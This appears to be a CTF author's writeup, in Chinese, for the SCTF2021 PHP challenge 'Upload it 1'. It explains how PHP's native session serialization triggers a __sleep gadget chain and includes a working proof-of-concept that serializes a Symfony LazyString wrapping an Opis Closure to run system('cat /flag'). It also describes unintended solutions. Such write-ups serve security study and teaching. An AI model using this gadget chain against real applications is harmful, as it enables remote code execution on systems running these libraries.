Skip to content

Latest commit

 

History

History

Upload_it_1

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

Upload it 1

被非预期惨了(

How to Start and Stop

start

docker-compose up -d

stop

docker-compose down --rmi all

writeup

题目是一个任意文件上传,但当前目录没有写权限,只能上传到/tmp目录。 题目有composer.json,导入了两个包。

{
    "name": "sctf2021/upload",
    "authors": [
        {
            "name": "AFKL",
            "email": "upload@qq.com"
        }
    ],
    "require": {
        "symfony/string": "^5.3",
        "opis/closure": "^3.6"
    }
}

预期解

在出完ezsou一题后,我注意到imi框架作者使用序列化来统计字符串长度,导致触发了__sleep链。我便想php的原生session是否也会触发。于是便去审计php源码。

session.c#L2744中,可以发现session组件在一个请求结束后判断session是否active,如果active就去调用php_session_flush函数。

image-20211230171214360

image-20211230171409423

image-20211230171503656

经过一系列调用,最终程序会走到php_session_encode中,而这个函数会调用对应的session.serialize_handler。

image-20211230171751978

题目中的handler通过phpinfo得知为php

image-20211230171933991

phphandler的encode实现中必然调用了序列化函数,那么说明php的原生session同样可以触发__sleep链。

image-20211230172121544

那么这样只需要通过LazyString__sleep点调用匿名函数库即可。

<?php
namespace Symfony\Component\String {
    class LazyString {
        private $value;

        public function __construct($a)
        {
            $this->value = $a;
        }
    }
}

namespace {
    include_once "vendor/autoload.php";
    $func = function() {system("cat /flag");};
    $raw = \Opis\Closure\serialize($func);
    $data = unserialize($raw);
    $exp = new \Symfony\Component\String\LazyString($data);

    var_dump(base64_encode(serialize($exp)));
}

十万乃至九万的非预期

这道题最失败的一点,如同某位大师傅说的:

image-20211231024912928

确实这种组件必然有写就有读,而且触发过于简单,导致许多人并没有注意到触发__sleep链的这个操作就把题做出来了,这脱离了我出这题的初衷...

还有就是我对库本身还不够理解,例如我并不知道匿名函数库中的function字段可以将function() {system("cat /f*");}修改为一段代码system("cat /f*")。这样可以直接在反序列化的时候触发。这也是为什么我临时出了一道Upload it 2

image-20211231030648347

还有就是session中的属性有字符串操作,导致其直接触发了__toString...

总的来说upload it两题出的很失败,希望师傅们多多谅解,也希望师傅们可以通过这个wp学到东西。